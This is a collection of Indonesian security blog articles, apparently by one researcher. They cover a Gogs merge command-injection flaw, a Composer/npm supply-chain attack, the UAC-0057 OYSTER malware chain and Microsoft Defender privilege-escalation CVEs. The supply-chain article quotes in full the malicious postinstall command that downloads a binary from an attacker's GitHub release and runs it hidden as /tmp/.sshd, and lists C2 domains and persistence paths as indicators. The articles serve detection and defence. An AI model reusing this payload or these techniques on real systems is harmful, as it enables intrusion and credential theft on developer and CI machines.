Library git-module sudah di-harden di v1.8.7 dengan --end-of-options di Clone(), Push(), Fetch(), dan 28 call site lainnya. Merge() di internal/database/pull.go tidak menggunakan safe API ini tetapi memanggil process.ExecDir secara langsung. Seluruh hardening di git-module tidak berlaku di sini karena kode ini tidak pernah dimigrasikan.

Impact di Konteks Multi-Tenant

Ketika Gogs dijalankan sebagai platform shared (universitas, tim, organisasi), semua repository berada di bawah satu REPOSITORY_ROOT dengan satu process user biasanya git. Tidak ada OS-level isolation antar user, Process user ini memiliki read/write access ke seluruh filesystem Git di instance tersebut.

1. Arbitrary command execution sebagai process user ini berarti:

2. Seluruh repository di instance terbaca, termasuk private repo user lain

3. Database yang berisi password hash, API token, SSH key, dan 2FA secret untuk semua user bisa di-dump

4. Commit bisa dimanipulasi langsung di filesystem, melewati audit log Gogs. Tanpa commit signing (jarang dipakai di self-hosted instance), commit palsu sulit dideteksi

5. Lateral movement ke sistem lain yang reachable dari network server

Aspek supply chain yang perlu diperhatikan: modifikasi repository di filesystem level tidak meninggalkan trace di Gogs audit log. Jika instance ini menjadi bagian dari pipeline CI/CD, kode yang dimodifikasi bisa masuk ke production build tanpa melalui review process normal. 

Artefak dan Deteksi

Ketika exploit dijalankan menggunakan repository yang dibuat dan langsung dihapus attacker, satu-satunya trace di server log adalah HTTP 500. Entry spesifik yang dihasilkan oleh git checkout yang gagal di Step 5:

[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'

Gogs mencatat ini via c.Error(err, "merge") di ERROR level, termasuk nama branch berbahaya secara lengkap di log message. Tapi exploit yang lebih hati-hati bisa menggunakan pendekatan yang menghasilkan error lebih kecil.

Jika exploit menyasar repository existing (bukan yang dibuat attacker), artifact tambahan tertinggal: nama branch --exec=... muncul di branch listing, PR yang gagal ada di history, dan repository bisa stuck dalam state yang mengembalikan HTTP 500 untuk operasi tertentu. Di Windows, file payload (.abcdef, .abcdef.bat) juga tersimpan di git history.

Metasploit module membuat API token Gogs dengan nama msf_<hex> selama eksploitasi. Gogs tidak memiliki API endpoint untuk delete token, sehingga token ini persisten sampai di-revoke secara manual melalui UI atau database. Token list bisa dicek di /-/user/settings/applications.

Metasploit module sudah tersedia di msf prerequisites minimal: akun yang terdaftar (atau kemampuan registrasi), dan akses ke repository dengan rebase merging aktif atau bisa diaktifkan. 

Baca Juga Tentang: Git-Push Git-C2 Git-Repo-Leaked

Benediktus Sava – Security Researcher

Sumber: Rapid7 

Initial Access: Anatomy Supply Chain Attack di Ekosistem Composer dan npm - Ethical Hacking Indonesia

Telah ditemukan delapan package Composer mengandung postinstall hook berbahaya yang mengunduh dan mengeksekusi binary Linux tanpa verifikasi apapun selama proses instalasi. Payload identik di semua package, dikirim dari akun GitHub yang sama, dan ditulis bukan ke composer.json melainkan ke package.json yang membuat oayload bisa lolos dari mayoritas audit dependency berbasis Composer.

Ini terdeteksi oleh scanner Socket, yang kemudian menemukan jejak yang lebih luas: ratusan referensi di GitHub terhubung ke infrastruktur attacker yang sama, termasuk file GitHub Actions workflow di beberapa repository fork yang menjadikan CI/CD pipeline sebagai target eksekusi sekunder.

Payload

curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/ \ releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null \ && chmod +x /tmp/.sshd && /tmp/.sshd &

Flag -k menonaktifkan verifikasi sertifikat TLS artinya binary diterima tanpa validasi chain of trust apapun. Flag -s dan 2>/dev/null bersama-sama menekan semua output, sehingga tidak ada error yang terlihat oleh pengguna selama npm install berlangsung. Setelah binary ditulis ke /tmp/.sshd, dibuat executable dan langsung dijalankan di background via & yang memungkinkan proses installer selesai normal tanpa menunggu. 

.sshd merupakan nama yang dibuat dengan dot yang bertujuan untuk menyembunyikan file dari printah ls pada Linux yang bisa digunakan untuk melihat isi dari sebuah direktori. sementara nama sshd menyerupai SSH daemon yang legitimate. Engineer yang melihat proses ini di ps aux perlu melakukan double-check sebelum menganggapnya anomali. Nama binary yang diunduh, gvfsd-network, mengikuti pola yang sama gvfsd adalah nama daemon GNOME Virtual File System yang umum muncul di sistem Linux desktop.

Tidak ada hash check, tidak ada signature verification. Binary apapun yang disajikan dari URL tersebut akan dieksekusi. Karena payload sudah tidak tersedia saat peneliti Socket mencoba mengambilnya, tujuan akhir binary ini tidak bisa dikonfirmasi apakah RAT, miner, credential harvester, atau stage pertama dari multi-stage payload. Namun konteks eksekusinya sudah cukup mengindikasikan scope akses yang didapat: proses berjalan dengan privilege user yang menjalankan npm install, yang di mesin developer biasanya berarti akses ke SSH keys, cloud credentials, API tokens di environment variables, dan .npmrc yang menyimpan registry tokens.

Cross-Ecosystem Blind Spot: Mengapa package.json

Kedelapan package yang teridentifikasi adalah Composer packages dependency manager utamanya adalah composer.json. Tapi payload tidak disisipkan di sana. Attacker menempatkannya di package.json, sebuah keputusan yang memperlihatkan pemahaman terhadap cara kerja audit dependency di project PHP modern. PHP project kontemporer hampir selalu ship bersama JavaScript build tooling Vite, Laravel Mix, kompilasi Tailwind, atau Alpine.js bundling. package.json ada di repository yang sama, tapi secara konseptual diperlakukan sebagai "bagian lain" dari project. Ketika security review atau automated scanner berjalan dalam konteks Packagist, yang diperiksa adalah composer.json dan lockfile-nya. package.json ada di repository, tapi berada di luar scope audit Composer.

hal ini merupakan eksploitasi terhadap batas coverage tool. Dependency scanner yang tidak memahami repository lintas-ekosistem akan melewatkan ini secara sistematis.

Execution path bergantung pada posisi package di dalam project. Untuk starter kit seperti devdojo/wave dan devdojo/genesis, ketika developer men-clone repository, package.json langsung berada di root project. Setiap kali npm install dijalankan yang hampir pasti terjadi karena frontend tooling  postinstall hook langsung aktif. Ini adalah execution path paling pendek dan paling reliabel dalam attack chain ini. Untuk enam package lainnya yang berfungsi sebagai library, situasinya berbeda: package masuk ke vendor/, dan npm tidak menjalankan lifecycle scripts dari nested dependencies di luar root project. Hook hanya aktif jika developer secara eksplisit masuk ke direktori package dan menjalankan npm install secara terpisah.

Mekanisme Distribusi: Upstream GitHub ke Packagist

Packagist tidak meng-host source code secara langsung tapi meng-track upstream GitHub repositories dan merefleksikan branch state mereka sebagai package versions. Versi dev-main, dev-master, dan 3.x-dev adalah branch-tracking  bukan snapshot immutable, melainkan pointer ke HEAD dari branch yang bersangkutan. Ini adalah detail yang kritis untuk memahami bagaimana attack chain ini bekerja. Attacker melakukan commit langsung ke upstream GitHub repository (metode akses belum terkonfirmasi bisa credential stuffing, akun maintainer yang terkompromi, atau push langsung ke branch yang tidak dilindungi). Setelah commit masuk, Packagist pada saat sync berikutnya merefleksikan state tersebut sebagai versi terbaru. Developer yang menggunakan dev-master akan menerima artifact yang sudah terinfeksi tanpa ada peringatan apapun.

Ini berbeda dari typosquatting, di mana attacker mempublikasikan package baru dengan nama yang menyerupai package legitimate. Di sini, package yang sudah dipercaya dimodifikasi langsung. Developer yang pernah menggunakan package ini sebelumnya tidak memiliki sinyal bahwa ada yang berubah kecuali developer membandingkan commit history untuk melihat perbedaan atau perubahan yang tidak normal. Saat beberapa maintainer melakukan revert, Packagist juga merefleksikan perubahan itu. Namun karena sifat branch-tracking, versi dev-main setelah revert tetap mutable jika upstream repository kembali terkompromi, Packagist akan kembali merefleksikan state berbahaya pada sync berikutnya.

Package	Versi	Status Cleanup
moritz-sauer-13/silverstripe-cms-theme	dev-master	Belum direvert
crosiersource/crosierlib-base	dev-master	Belum direvert
devdojo/wave	dev-main	Direvert (5afe6da)
devdojo/genesis	dev-main	Direvert (3be1f20)
katanaui/katana	dev-main	Direvert (f679252)
elitedevsquad/sidecar-laravel	3.x-dev	Direvert (b1f5c53)
r2luna/brain	dev-main	Direvert (421a1d5)
baskarcm/tzi-chat-ui	dev-main	Belum direvert

GitHub Actions sebagai Jalur Eksekusi Sekunder

Di beberapa repository publik termasuk fork 448776129/UA2F dan 448776129/blog-1 payload yang sama tidak disisipkan ke package.json melainkan ke file GitHub Actions workflow. Dalam ci.yml, payload ditambahkan sebagai step bernama Dependency Cache Sync.Jika hook dieksekusi di mesin developer saat npm install, payload di GitHub Actions dieksekusi di CI runner environment yang kemungkinan memiliki akses ke secrets, deployment tokens, GITHUB_TOKEN, atau dapat membuat artifacts yang didistribusikan ke downstream. Kedua jalur eksekusi menggunakan URL payload, drop path, dan background execution pattern yang identik, mengindikasikan infrastruktur yang sama.

Indicators of Compromise

Indikator	Nilai
GitHub Account	parikhpreyash4
Repository	parikhpreyash4/systemd-network-helper-aa5c751f
Payload URL	github.com/.../releases/latest/download/gvfsd-network
Drop Path	/tmp/.sshd
Command Fragments	curl -skL · chmod +x /tmp/.sshd · /tmp/.sshd &

Baca Juga Tentang: Undercover-NPM Git-Push Github-Abuse Composer

Benediktus Sava – Security Researcher

Sumber: Github Socket-Dev 

UAC-0057 OYSTER Campaign: Bagaimana Ghostwriter Membangun Execution Chain dari JavaScript ke Cobalt Strike - Ethical Hacking Indonesia

PDF yang berisi link. Link yang mengarah ke ZIP. ZIP yang berisi JS file, merupakan behavior Windows yang sudah bertahun-tahun menjadi entry point dan jalur antara kegunaan dan security: wscript.exe yang bisa dieksekusi oleh standard user tanpa elevasi, dan file .js yang di-associate langsung ke Windows Script Host. Sebagian besar organisasi government tier di berbagai negara masih belum mem-block asosiasi ini secara eksplisit di Group Policy. Ghostwriter (dilacak sebagai UAC-0057 / UNC1151 oleh CERT-UA) tampaknya sudah punya informasi mengenai data target, karena mereka masih menggunakan vektor yang sama di 2026.

Phishing email dikirim dari akun yang sudah dikompromikan sebelumnya bukan dari domain baru atau typosquatted address dengan tema sertifikat dari platform edukasi online Prometheus. Teknik ini dilakukan dengan konteks bahwa: Pemerintah Ukraina aktif mendorong penggunaan platform ini untuk pelatihan ASN, sehingga email tentang "sertifikat kursus" secara natural melewati filter kecurigaan awal penerima.

OYSTERFRESH: Entry Point dan State Bootstrapping

File JS pertama yang dieksekusi OYSTERFRESH punya tiga fungsi yang dijalankan secara bersamaan saat eksekusi:

1. Render decoy document ke layar user

2. Tulis payload OYSTERBLUES ke Windows Registry dalam bentuk obfuscated dan encoded

3. Download dan eksekusi OYSTERSHUCK

Langkah kedua yang menyimpan payload ke registry digunakan untuk menghindari forensik dan  memecah dependency antara persistence mechanism dan file-based detection sehingga payload bukan js atau exe dan menghindari deteksi system yang berbasis statis filesystem. Registry key yang digunakan: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Blue\ dengan value name Oyster. Ini HKCU, bukan HKL. 

OYSTERSHUCK: Decoder sebagai Komponen Terpisah

OYSTERSHUCK berfungsi sebagai decoder yang memuat OYSTERBLUES dari registry. Alur decode yang digunakan berdasarkan informasi CERT-UA terdiri dari tiga tahap berurutan:

1. String reversal - payload dibaca terbalik

2. ROT13 substitution -setelah di-reverse, melalui ROT13

3. URL-decode - tahap akhir, mengurai percent-encoding

Kombinasinya cukup untuk menghindari simple pattern matching di memory atau registry scanning yang hanya mencari string recognizable. ROT13 pada string yang sudah di-reverse juga mempersulit reversal otomatis tanpa mengetahui urutan operasinya.

Memisahkan decoder (OYSTERSHUCK) dari payload terenkripsi (OYSTERBLUES di registry) dan dropper awal (OYSTERFRESH) membuat setiap komponen tampak tidak berbahaya secara isolated. OYSTERSHUCK tidak berisi payload. OYSTERFRESH tidak berisi logic C2. OYSTERBLUES di registry hanyalah blob encoded yang tidak executable tanpa decoder-nya.

OYSTERBLUES: Reconnaissance dan Eval-Based C2

Setelah decoded dan dieksekusi, OYSTERBLUES mulai dengan reconnaissance lokal:

• Computer name
• User account
• OS version
• Last boot time
• Running process list

Dikirim melalui HTTP Post ke Server C2, desain komunikasi server C2 OYSTERBLUES tidak mengimplementasikan protocol custom atau binary format response dari C2 adalah JavaScript code yang langsung dieksekusi menggunakan eval().

Ini adalah desain yang disengaja dengan eval-based execution, operator bisa:

• Update capability tanpa reinfect endpoint
• Kirim task spesifik per-target berdasarkan beacon data yang diterima
• Tidak perlu compile ulang binary untuk setiap operasi
• Payload berikutnya tidak pernah touch disk jika operator memilih in-memory execution path

Dari perspektif detection: traffic antara OYSTERBLUES dan C2 terlihat seperti legitimate HTTPS request ke server yang ada di belakang Cloudflare. Response-nya hanyalah text/JavaScript, dan tidak ada binary, tidak ada shellcode yang mencurigakan system deteksi. 

Infrastructure Pattern: .icu TLD dan Cloudflare Proxy

Seluruh infrastructure UAC-0057 di kampanye ini konsisten menggunakan dua karakteristik:

Cloudflare sebagai proxy: Real IP server tidak terekspos langsung, semua traffic melewati Cloudflare edge nodes. Ini mempersulit tracking infrastruktur C2 yang sebenarnya dan memberikan operator kemampuan untuk rotate backend dengan mudah tanpa perlu mengubah IOC yang terekspos ke defender.

Domain dengan TLD .icu: Mayoritas C2 domain menggunakan .icu TLD ini murah, registrasi cepat, dan volume abuse-nya sudah cukup tinggi sehingga tidak langsung suspicious secara reputasional dibanding TLD seperti .xyz atau .tk. Tapi sekarang .icu dengan pattern tertentu jelas sudah harus masuk watchlist.

Beberapa menggunakan subdomain dengan kata-kata verbose yang tidak natural untuk legitimate service easiestnewsfromourpointofview.algsat[.]icu, productionsamplesoftheyear.cgdirector[.]icu. Ini bukan random generation, tapi juga tidak mimetik terhadap legitimate service yang dikenal. Membuat regex pattern untuk subdomain pattern ini bisa jadi detection surface.

URL path pada C2 juga patut diperhatikan. Beberapa path menggunakan pola yang menyerupai legitimate WordPress REST API atau CDN path:

/wp-json/prometheus-plus/certs-at-home/downloads

/wp-content/plugins/elementor/assets/lib/eicons/css

/wp-content/plugins/contact-form-7/modules/recaptcha

Ini adalah defense evasion pada level URL inspection jika ada proxy atau NGFW yang hanya melakukan path-based filtering, traffic ini bisa lolos karena path-nya terlihat seperti WordPress plugin asset request.

Persistence Mechanism: Registry dan Scheduled Task

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WindowsEdgeStartup

Dua Run key di HKCU, keduanya menggunakan nama yang adalah tiiruan terhadap legitimate Microsoft Edge update mechanism, ini akan trigger saat user logon.

Di sisi filesystem:

%APPDATA%\EdgeMachineData\EdgeTaskMachine.js

%APPDATA%\EdgeMachineData\MicrosoftEdgeUpdate.exe

%PROGRAMDATA%\WindowsEdgeApp\EdgeApp.exe

%PROGRAMDATA%\WindowsEdgeApp\EdgeSystemConfig.dll

Ada juga scheduled task MicrosoftEdgeUpdateTaskMachine nama yang identik dengan legitimate Edge update task. Operator mengandalkan fakta bahwa sysadmin yang melihat task ini di Task Scheduler dengan asumsi bahwa itu adalah Edge component yang valid. Komponen .dll (EdgeSystemConfig.dll) menarik karena tidak disebut secara eksplisit dalam deskripsi behavior chain yang dipublikasikan. Kemungkinan ini adalah sideloading target atau persistence component tambahan yang diload oleh EdgeApp.exe.

User-Agent Spoofing: Edge dan Chrome Version Mismatch

User-Agent yang digunakan dalam network traffic menunjukkan pattern:

Chrome/111.0.0.0 Safari/537.30

Chrome/121.0.0.0 Safari/537.30

Chrome/141.0.0.0 Safari/537.30

Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66

Perhatikan Safari/537.30 versi 537.30 bukan versi yang valid untuk Chromium-based browser. Legitimate Chrome menggunakan Safari/537.36. 

Cobalt Strike sebagai Final Stage

Dari perspective attacker, OYSTERBLUES yang mengandalkan eval-based JavaScript execution memberikan fleksibilitas maksimal untuk stage berikutnya. Operator bisa mengirim JavaScript yang melakukan reflective DLL injection, mendownload dan exec shellcode, atau menggunakan living-off-the-land technique lain semuanya tanpa mengubah infrastructure. CERT-UA mengassess bahwa final payload adalah Cobalt Strike secara operasional ini konsisten dengan modus operandi UAC-0057 di operasi-operasi sebelumnya. Cobalt Strike Beacon memberikan operator C2 yang mature, flexible, dan memiliki ekosistem BOF (Beacon Object Files) yang luas untuk post-exploitation.

Dengan akses HKCU dan execution tanpa elevasi, Cobalt Strike Beacon akan berjalan sebagai user biasa tapi di lingkungan government yang menjadi target, bahkan akses sebagai standard user sudah cukup untuk credential harvesting, lateral movement via pass-the-hash jika ada misconfigured service, atau exfiltration dokumen sensitif dari profil user.

Attack Surface dan Mitigasi

Satu mitigasi yang paling impactful: restrict wscript.exe untuk standard user accounts via AppLocker atau Software Restriction Policy. Jika .js tidak bisa dieksekusi sebagai user biasa, seluruh initial execution stage collapse. 

Untuk detection, priority sequence yang bisa dilakukan:

1. 1. Monitor write ke HKCU\SOFTWARE\Microsoft\Windows\Blue\ key path ini tidak digunakan oleh komponen Windows legitimate
2. 2. Alert pada wscript.exe yang diinvoke dari browser download path atau email client temporary folder
3. 3. Hunt untuk kombinasi eval() dengan HTTP outbound dari proses JavaScript host
4. 4. UA string dengan Safari/537.30 (invalid trailing digit)
5. 5. DNS query ke TLD .icu dari endpoint corporate, terutama dengan subdomain pattern verbose/random

Path URL yang menyerupai WordPress path bisa jadi false positive magnet jika di-block tanpa melihat apa anomali yang terjadi dari url tersebut. Correlate URL pattern ini dengan UA string anomaly dan beacon timing regularity (OYSTERBLUES melakukan polling interval yang bisa dideteksi via traffic analysis).

Baca dan Nonton Juga Tentang: ZIP-File JavaScript-URL Windows Defender false-Positive LOLBAS Storm-1175

Benediktus Sava – Security Researcher

Sumber: Cert-Gov-Ua Eval()-Function 

CVE-2026-41091 & CVE-2026-45498: Analisis Teknis Link Following LPE dan DoS di Microsoft Defender - Ethical Hacking Indonesia

Advisory Microsoft menyebut root cause CVE-2026-41091 sebagai "improper link resolution before file access" kategori CWE yang dikenal sebagai link following. mpengine.dll Microsoft Malware Protection Engine berjalan dengan privilege SYSTEM. Setiap kali engine ini mengakses file untuk discan, operasi tersebut terjadi dalam konteks SYSTEM. Kalau ada jeda antara resolusi path dan akses file aktual, dan jeda itu bisa dimanfaatkan attacker untuk mengganti target path dengan symlink atau junction, maka file yang diakses oleh proses SYSTEM bukan lagi file yang dimaksud.

Pattern ini check-use gap atau lebih spesifiknya TOCTOU (Time-of-Check to Time-of-Use) pada resolusi symlink adalah mekanisme yang mendasari hampir semua LPE berbasis link following di Windows. Bedanya dengan platform lain: Windows punya beberapa jenis "link" yang relevan disini symbolic link, junction (directory junction), mount point, dan hard link masing-masing punya semantik resolusi berbeda di kernel, dan tidak semua AV engine memperlakukan semua jenis ini dengan benar.

attack surface spesifik: engine antivirus secara desain harus mengakses file yang dikirim atau dipicu oleh user-mode. Drop file ke direktori tertentu, trigger scan, dan proses SYSTEM akan membaca file tersebut. Kalau di antara dua momen itu attacker bisa memasang symlink yang mengarah ke target file sensitif misalnya binary system atau file konfigurasi dengan permission restricted maka operasi baca/tulis engine tadi sekarang berlaku ke target tersebut.

Attack Surface: Trigger Scan, Kontrol Path.

Satu pertanyaan pertama saat melihat LPE di AV engine: seberapa banyak kontrol yang punya attacker local atas apa yang discan?

Di Windows, Defender berjalan secara real-time. File apa pun yang di-write ke disk akan dipicu scan-nya secara otomatis. User standard (tanpa admin privilege) bisa write ke sejumlah lokasi: direktori temp user, direktori AppData, atau lokasi yang bisa diakses melalui hardlink dari file yang bisa di-write.

Race condition selalu terdengar sulit, tapi di Windows ada beberapa teknik untuk memperlambat atau mendelay operasi file untuk memperbesar potensi windows race. OpLock (opportunistic locks), event-based synchronization, bahkan teknik NtSetInformationFile tertentu yang bisa delay close handle. Untuk CVE-2026-41091 spesifik, detail teknis lengkap belum dirilis publik. Tapi mengingat lima peneliti berbeda melaporkan ini secara terpisah, kemungkinan ada lebih dari satu primitive atau lebih dari satu code path yang vulnerable.

mpengine.dll dan Antimalware Platform: Dua Komponen, Dua CVE

Penting untuk memisahkan dua komponen ini karena Microsoft mempatchnya di versi berbeda:

Microsoft Malware Protection Engine (mpengine.dll) bertanggung jawab untuk scanning, detection, dan cleaning. Ini adalah komponen yang terdampak CVE-2026-41091 (LPE) dan CVE-2026-45584 (RCE terpisah yang tidak masuk KEV tapi dipatch bersamaan). Fix ada di versi 1.1.26040.8.

Microsoft Defender Antimalware Platform koleksi user-mode binary dan kernel-mode driver yang menjadi "wadah" di mana engine berjalan. CVE-2026-45498 (DoS) ada di layer ini, bukan di engine parsing. 

Pemisahan ini relevan secara teknis karena attack surface-nya berbeda. DoS di Platform layer bisa berarti attacker bisa membuat Defender berhenti berfungsi tanpa menyentuh engine sama sekali mematikan perlindungan sebagai precondition sebelum mengeksekusi payload yang seharusnya terdeteksi. Kalau kedua CVE ini dipakai bersama dalam satu chain: DoS dulu untuk mengganggu Defender, kemudian LPE untuk eskalasi. Belum ada konfirmasi publik bahwa keduanya dipakai bersamaan, tapi threat model-nya bisa kita susun seperti itu sebgai asumsi.

Konteks Historis dari KEV (Known Exploited Vulnerabilities Catalog)

CISA menambahkan dua CVE baru tadi bersamaan dengan empat CVE lama yang masuk KEV dan ini bagian yang perlu diperhatikan:

CVE-2008-4250 - buffer overflow di Windows Server Service (NetAPI32.dll) via crafted RPC request. vulnerability yang sama yang dieksploitasi oleh MS08-067, prekursor teknis Conficker worm. 

CVE-2009-1537 - NULL byte overwrite di QuickTime Movie Parser (quartz.dll). Parser media di Windows yang menerima input dari file yang dibuat attacker, dengan bug overwrite yang cukup untuk corrupt memory structure.

CVE-2010-0806 dan CVE-2010-0249 — keduanya use-after-free di Internet Explorer. CVE-2010-0249 adalah "Aurora" atau dikenal sebagai operasi aurora exploit yang dipakai dalam serangan terhadap Google dan perusahaan teknologi besar lainnya pada 2010. Mekanismenya: objek di-free, pointer ke object tersebut tetap disimpan di suatu lokasi, kemudian pointer itu diakses kembali saat object sudah tidak valid. Allocator heap pada titik itu mungkin sudah re-use memori tersebut dengan data yang dikontrol attacker.

CVE-2009-3459 - heap-based buffer overflow di Adobe Reader saat parsing PDF. Ini adalah kategori yang berbeda: parser file yang menerima dokumen dari luar, dengan bug di path parsing yang memungkinkan overflow ke heap, corrupt adjacent allocation, dan eksekusi arbitrary code.

Semua ini masuk KEV sekarang bukan karena ditemukan baru-baru ini, tapi karena ada evidence aktif bahwa ada infrastruktur yang masih menjalankan software versi tersebut dan sedang dieksploitasi. Setiap kali infrastructure lama diekspos kembali ke internet karena migrasi, reuse image, atau konsolidasi sistem vulnerability 15 tahun yang lalu menjadi current threat.

Primitive Exploit: Kenapa "Link Following" Bisa Berkembang Jauh

Dari sudut pandang primitive: link following memberikan write-what-where yang tidak langsung. Engine membuka file tapi file itu sekarang adalah target yang dikontrol attacker. Tergantung operasi apa yang dilakukan engine setelah buka file:

• Kalau engine membaca file dan kemudian menulis output ke path lain, attacker mungkin bisa pengaruhi output path dengan cara serupa
• Kalau engine menulis ke file misalnya cleaning/quarantine yang memodifikasi konten maka write tersebut bisa diarahkan ke binary system atau file konfigurasi
• Kalau engine men-delete atau me-rename file sebagai bagian dari remediation, itu bisa menjadi primitive delete-arbitrary-file, yang di Windows sudah cukup untuk LPE di banyak skenario (lihat teknik PrintSpoofer/EfsPotato family yang bergantung pada delete primitif)

SYSTEM-level file operations yang bisa dikontrol user bisa jadi sangat banyak jalur LPE di Windows, karena ada banyak lokasi di mana delete atau write dari SYSTEM bisa dikonversi ke code execution. 

CVE-2026-41091 sebagai post-exploitation step kalau sudah punya foothold sebagai low-privilege user, ini adalah path ke SYSTEM tanpa perlu kernel exploit. Windows AV sebagai LPE vector adalah teknik yang sudah ada di playbook (lihat penelitian serupa terhadap Trend Micro, Avast, dan produk AV lain tahun-tahun sebelumnya). Verifikasi versi engine dengan Get-MpComputerStatus | Select-Object AMEngineVersion sebelum asumsi bahwa sistem sudah ter-patch.

Baca Juga Tentang: RedSun, Undefend, BlueHammer Adobe-Windows MDASH-AI-Microsoft Windows-Security-Bypass

Benediktus Sava – Security Researcher

 

Sumber: Microsoft HelpNetSecurity CISA NVD